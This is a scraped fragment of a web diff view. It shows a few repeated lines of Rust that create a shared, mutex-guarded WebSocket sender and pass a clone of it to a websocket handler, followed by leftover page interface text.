let ws_tx: WsTx = Arc::new(Mutex::new(None));
|
let ws_tx: WsTx = Arc::new(Mutex::new(None));
|
||||||
let ws_tx_for_handler = Arc::clone(&ws_tx);
|
let ws_tx_for_handler = Arc::clone(&ws_tx);
|
||||||
websocket_handler(ws_tx_for_handler).await;
|
websocket_handler(ws_tx_for_handler).await;
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue